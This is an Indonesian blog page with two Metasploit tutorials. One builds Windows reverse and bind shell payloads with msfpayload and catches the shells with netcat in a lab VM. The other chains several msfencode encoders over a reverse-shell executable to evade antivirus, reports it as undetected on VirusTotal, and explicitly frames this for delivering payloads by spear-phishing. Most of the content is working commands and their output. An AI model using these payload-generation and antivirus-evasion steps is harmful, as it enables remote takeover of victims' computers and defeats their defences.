Tampilkan postingan dengan label payload. Tampilkan semua postingan
Tampilkan postingan dengan label payload. Tampilkan semua postingan

Rabu, 18 Januari 2012

Perbedaan Reverse TCP dan Bind TCP

Pengguna metasploit untuk tingkat pemula, mungkin pernah bertanya-tanya. Apa perbedaan payload reverse_tcp dengan payload bind_tcp? Sederhananya, reverse adalah perintah dari attacker kepada korban, untuk menghubungi korban. Sementara bind tcp adalah perintah dari attacker kepada korban, untuk membuka akses kepada attacker. Ilustrasinya seperti ini

[reverse_tcp]
attacker -> [hubungi saya di port 4444] -> victim

setelah payload dieksekusi
attacker <-> [port 4444] <-> victim

[bind_tcp]
attacker -> [buka jalan untuk saya di port 4444] -> victim

setelah dieksekusi
attacker <-> [port 4444] <-> victim

Untuk membuktikannya, saya akan mengadakan percobaan mengenai payload. Anda bisa mencoba sendiri di rumah.

Tools requirements:
[*] msfpayload dapat ditemukan di backtrack 5
[*] netcat dapat ditemukan di backtrack 5
[*] vmware player
[*] windows XP SP 2

System requirements:
[*] VMware menggunakan koneksi NAT
[*] IP address attacker vmnet8 10.10.10.1
[*] IP address victim vmnet8 10.10.10.128
[*] Windows XP di dalam vmware telah terinstall vmware tools

Walk-through:
1. Buat PAYLOAD windows/shell_reverse_tcp

Buka terminal, kemudian masukan perintah:

Command:
root@revolution:~# msfpayload windows/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 X > /tmp/reverse.exe



Keterangan:
[*] saya akan membuat payload windows/shell_reverse_tcp
[*] ip address saya 10.10.10.1
[*] port listener saya tentukan di 4444
[*] payload ini saya simpan di folder /tmp dengan nama reverse.exe

Buka folder /tmp, kemudian copy file reverse.exe, kemudian paste di windows XP. Kembali ke terminal, kemudian masukan perintah:

Command:
root@revolution:~# nc -l -v -p 4444

Keterangan:
[*] saya menggunakan netcat sebagai handler terhadap koneksi yang masuk
[*] menentukan netcat sebagai listener (-l)
[*] menentukan netcat untuk mengaktifkan verbose mode (-v)
[*] menentukan netcat untuk melakukan listening pada port 4444 (-p 4444)

Kemudian jalankan file reverse.exe yang ada di windows xp.

Maka ini yang akan terjadi:
Command:
root@revolution:~# nc -l -v -p 4444listening on [any] 4444 ...10.10.10.128: inverse host lookup failed: Unknown server error : Connection timed outconnect to [10.10.10.1] from (UNKNOWN) [10.10.10.128] 1062Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\User\Desktop>



FAQ [Frequently Asked Questions]
[Q] Apa fungsi payload yang kita buat?
[A] Payload yang kita buat, memiliki perintah dari attacker kepada victim untuk menghubungi attacker di port 4444

[Q] Mengapa kita mendapatkan command prompt milik victim?
[A] Itu karena payload yang kita buat adalah shell_reverse_tcp, ini berfungsi agar netcat mengeksekusi shell aka command prompt (pada windows) setelah konesi di port 4444 terjadi

[Q] Bisakah saya menentukan di port yang berbeda selain 4444?
[A] Bisa, dengan syarat port tersebut sedang tidak digunakan oleh proses lain, misalkan port 80 yang biasa digunakan oleh Apache, atau 22 yang biasa digunakan oleh OpenBSD untuk SSH connection.


2. Buat payload windows/shell_bind_tcp

Buka terminal, kemudian masukan perintah:

Command:
root@revolution:~# msfpayload windows/shell_bind_tcp LPORT=4444 X > /tmp/bind.exe



Keterangan:
[*] Saya akan membuat payload windows/shell_bind_tcp
[*] Saya menentukan 4444 sebagai port listener agar attacker dapat masuk ke system milik victim
[*] Saya menyimpan payload di folder /tmp dengan nama bind.exe

Buka folder /tmp, kemudian copy bind.exe ke Windows XP. Jangan jalankan file ini terlebih dahulu!

Buka command prompt windows, kemudian ketik

Command:
C:\Documents and Settings\User> netstat -an | find "4444"



Keterangan:
[*] netstat adalah perintah command prompt untuk mengecek koneksi yang terjadi dalam sebuah system
[*] saya akan mengecek, apakah port 4444 terbuka

Terlihat bahwa port 4444 tidak terbuka. Setelah itu, jalankan file bind.exe. Kemudian masukan perintah netstat kembali pada command prompt:

Command:
C:\Documents and Settings\User> netstat -an | find "4444"



Terlihat bahwa sekarang muncul port 4444 yang melakukan listening terhadap koneksi. Kali ini kita akan menggunakan netcat untuk mendapatkan command prompt milik victim.

Command:
root@revolution:~# nc -v 10.10.10.128 4444

Maka ini yang akan terjadi:

Command:
root@revolution:~# nc -v 10.10.10.128 444410.10.10.128: inverse host lookup failed: Unknown server error : Connection timed out(UNKNOWN) [10.10.10.128] 4444 (?) openMicrosoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\User\Desktop>



Keterangan:
[*] Kali ini saya akan menghubungi IP address victim [10.10.10.128]
[*] Saya akan mencoba port 4444 untuk akses masuk

FAQ [Frequently Asked Question]
[Q] Apa yang terjadi?
[A] Payload kita telah membuat victim membuka port 4444 agar attacker dapat masuk ke system korban

Created by: red-dragon

Selasa, 17 Januari 2012

The Power of Encoder

Membuat payload dan mengirimnya kepada target dengan metode spear pishing attack adalah cara termudah dalam melakukan exploitasi. Namun windows sudah mengantisipasi hal ini, beberapa vendor antivirus berlomba-lomba membuat antivirus yang mumpuni untuk membasmi payload milik attacker. Masalahnya adalah, bagaimana cara bypassing antivirus ini?

Metasploit telah menyediakan beberapa tools untuk melakukan penetrasi test. Diantaranya adalah msfpayload untuk membuat payload, dan msfencode untuk melakukan encoding. Msfencode memungkinkan attacker untuk membuat payload denan kedok terbaik yang dapat mem-byassing antivirus.

Pertanyaannya adalah, benarkah encoder ini berfungsi? Dalam kesempatan ini saya akan menunjukan bagaimana encoder bekerja, dan membuktikan bahwa encoder memiliki peran penting dalam melakukan bypass antivirus.

Preparation:
[*] msfpayload
[*] msfencode

Briefing:
[*] buat payload dengan encoder
[*] buat payload tanpa encoder
[*] upload kedua file ke VirusTotal

Walkthrough:


1. Buat payload dengan encoder

Kali ini saya akan melakukan encoding virus dengan 3 encoder yang berbeda.

Command:
root@revolution:/# msfpayload windows/shell_reverse_tcp lhost=172.16.230.1 lport=4444 R | msfencode -a x86 -e x86/shikata_ga_nai -c 8 t raw | msfencode -a x86 -e x86/call4_dword_xor -c 8 -t raw | msfencode -a x86 -e x86/jmp_call_additive -c 8 -t raw | msfencode -a x86 -e x86/shikata_ga_nai -c 8 t exe > /tmp/cmd.exe
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 368 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 395 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 422 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 449 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 476 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 503 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 530 (iteration=8)
[*] x86/call4_dword_xor succeeded with size 2342 (iteration=1)
[*] x86/call4_dword_xor succeeded with size 2370 (iteration=2)
[*] x86/call4_dword_xor succeeded with size 2398 (iteration=3)
[*] x86/call4_dword_xor succeeded with size 2426 (iteration=4)
[*] x86/call4_dword_xor succeeded with size 2454 (iteration=5)
[*] x86/call4_dword_xor succeeded with size 2482 (iteration=6)
[*] x86/call4_dword_xor succeeded with size 2510 (iteration=7)
[*] x86/call4_dword_xor succeeded with size 2538 (iteration=8)
[*] x86/jmp_call_additive succeeded with size 2569 (iteration=1)
[*] x86/jmp_call_additive succeeded with size 2601 (iteration=2)
[*] x86/jmp_call_additive succeeded with size 2633 (iteration=3)
[*] x86/jmp_call_additive succeeded with size 2665 (iteration=4)
[*] x86/jmp_call_additive succeeded with size 2697 (iteration=5)
[*] x86/jmp_call_additive succeeded with size 2729 (iteration=6)
[*] x86/jmp_call_additive succeeded with size 2761 (iteration=7)
[*] x86/jmp_call_additive succeeded with size 2793 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 2822 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 2851 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 2880 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 2909 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 2938 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 2967 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 2996 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 3025 (iteration=8)

Keterangan:
[*] Saya menggunakan payload windows/shell_reverse_tcp
[*] IP address saya 172.16.230.1
[*] Menentukan port listener di 4444
[*] Kali ini saya akan melakukan encoding dengan arsitektur 32 bit (-a x86)
[*] Menggunakan encoder x86/shikata_ga_nai (-e x86/shikata_ga_nai)
[*] Melakukan encoding sebanyak 8 kali (-c 8)
[*] Menyimpannya dengan format raw (-t raw)
[*] Mengenkode kembali menggunakan encoder x86/call4_dword_xor (-e x86/call4_dword_xor)

[*] Melakukan encoding sebanyak 8 kali (-c 8)
[*] Menyimpannya dengan format raw (-t raw)
[*] Mengenkode kembali menggunakan encoder x86/jmp_call_additive (-e x86/jmp_call_additive)

[*] Melakukan encoding sebanyak 8 kali (-c 8)
[*] Menyimpannya dengan format raw (-t raw)
[*] Mengenkode kembali menggunakan encoder x86/shikata_ga_nai (-e x86/shikata_ga_nai)
[*] Melakukan encoding sebanyak 8 kali (-c 8)
[*] Menyimpannya dengan format exe
[*] Menyimpannya di dalam direktori /tmp/ dengan nama file cmd.exe


2. Buat payload tanpa encoder

Command:
root@revolution:/# msfpayload windows/shell_reverse_tcp lhost=172.16.230.1 lport=4444 X > /tmp/backdoor.exeCreated by msfpayload (http://www.metasploit.com).Payload: windows/shell_reverse_tcp Length: 314Options: {"lhost"=>"172.16.230.1", "lport"=>"4444"}

Keterangan:
[*] Saya menggunakan payload windows/shell_reverse_tcp
[*] IP address saya 172.16.230.1
[*] Menentukan port listener di 4444
[*] Kali ini saya tidak menggunakan encoder dalam membuat payload ini.


3. Upload kedua file

Ini tanpa encoder:


DETECTED

Ini dengan encoder:

UNDETECTED




created by : red-dragon